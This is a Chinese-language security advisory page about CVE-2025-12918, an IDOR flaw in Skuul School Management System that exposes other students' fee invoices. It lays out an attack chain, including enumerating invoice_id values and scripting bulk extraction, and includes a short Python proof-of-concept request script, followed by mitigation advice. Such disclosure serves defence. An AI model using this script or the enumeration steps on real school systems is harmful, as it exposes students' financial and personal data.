IPBUF安全漏洞报告
English
CVE-2025-12918 CVSS 3.1 低危

Skuul School Management System IDOR漏洞导致学费发票信息泄露

披露日期: 2025-11-09

漏洞信息

漏洞编号
CVE-2025-12918
漏洞类型
IDOR越权访问
CVSS评分
3.1 低危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Skuul School Management System

相关标签

IDOR越权访问信息泄露SkuulSchool Management SystemCVE-2025-12918Web应用漏洞访问控制缺陷

漏洞概述

Skuul School Management System是一款广受欢迎的学校管理系统,用于管理学生信息、课程安排、费用收取等日常运营功能。该系统在全球多个教育机构中部署使用。然而,在2.6.5及之前版本中,系统在费用发票查看功能处存在越权访问漏洞(Insecure Direct Object Reference,IDOR)。攻击者可以通过操纵HTTP请求中的invoice_id参数,无需管理员权限即可访问其他学生的学费发票信息,包括付款记录、个人信息等敏感数据。此漏洞的CVSS评分为3.1,属于低危级别,主要因为其需要较高的攻击复杂度且机密性影响较低。但对于学校管理系统而言,学生财务信息的泄露仍可能造成隐私风险和潜在的欺诈风险。建议管理员尽快升级到修复版本或实施访问控制加固。

技术细节

该漏洞存在于Skuul School Management System的/dashboard/fees/fee-invoices/路由中,具体为View Fee Invoice功能模块。系统未对用户提交的invoice_id参数进行充分的权限验证,导致攻击者可以通过修改该参数值直接访问任意发票记录。攻击过程如下:攻击者登录系统后,使用自己的账号访问发票页面,此时URL中的invoice_id参数指向自己的发票记录。攻击者通过Burp Suite等工具拦截请求,将invoice_id参数值修改为其他学生的有效发票ID,系统未验证当前用户与目标发票的所属关系,直接返回了目标发票的完整信息。该漏洞属于典型的IDOR(不安全的直接对象引用)漏洞,源于系统对资源访问控制的实现缺陷。攻击者可能通过枚举或猜测invoice_id值来批量获取学生财务信息。由于CVSS向量显示攻击复杂度为高(AC:H),可能需要攻击者具备一定的技术能力或需要特定条件才能成功利用。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标站点使用的Skuul School Management System版本,确认版本号小于等于2.6.5
STEP 2
步骤2: 账号注册/登录
攻击者注册学生账号或利用已有低权限账号登录系统,获取有效session cookie
STEP 3
步骤3: 请求拦截
攻击者访问自己的发票页面/dashboard/fees/fee-invoices/?invoice_id=1,使用Burp Suite等工具拦截HTTP请求
STEP 4
步骤4: 参数篡改
攻击者修改请求中的invoice_id参数值,尝试遍历1-999等数字以访问其他用户的发票记录
STEP 5
步骤5: 数据窃取
系统未验证用户与发票的归属关系,直接返回目标invoice_id对应的发票信息,攻击者成功获取他人敏感财务数据
STEP 6
步骤6: 批量利用
攻击者编写脚本自动化遍历invoice_id,批量提取所有学生的发票信息用于后续恶意用途

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-12918 PoC - Skuul School Management System IDOR # Target: /dashboard/fees/fee-invoices/?invoice_id=X def exploit_idor(base_url, session_cookie, invoice_id): """ Exploit IDOR vulnerability in Skuul School Management System by manipulating the invoice_id parameter """ target_url = f"{base_url}/dashboard/fees/fee-invoices/" cookies = { 'session': session_cookie # Replace with valid session cookie } params = { 'invoice_id': invoice_id # Manipulate this parameter } try: response = requests.get(target_url, params=params, cookies=cookies) if response.status_code == 200: print(f"[*] Request successful for invoice_id: {invoice_id}") print(f"[*] Response length: {len(response.text)} bytes") # Check if invoice data is returned if 'invoice' in response.text.lower() or 'fee' in response.text.lower(): print("[!] Potential IDOR vulnerability confirmed - invoice data leaked") return True else: print(f"[*] Request failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve-2025-12918_poc.py <base_url> <session_cookie> <invoice_id>") print("Example: python cve-2025-12918_poc.py http://target.com 'abc123' 2") sys.exit(1) base_url = sys.argv[1] session_cookie = sys.argv[2] invoice_id = sys.argv[3] print(f"[*] Testing CVE-2025-12918 on {base_url}") exploit_idor(base_url, session_cookie, invoice_id)

影响范围

Skuul School Management System <= 2.6.5

防御指南

临时缓解措施
在漏洞修复前,可采取以下临时缓解措施:1) 限制/dashboard/fees/fee-invoices/路径的访问权限,仅允许管理员访问;2) 部署Web应用防火墙(WAF)规则,检测并阻止异常的invoice_id参数请求;3) 实施IP访问频率限制,防止攻击者自动化枚举;4) 增强session管理,定期更换session cookie并添加设备绑定验证;5) 监控访问日志,及时发现异常的发票访问行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表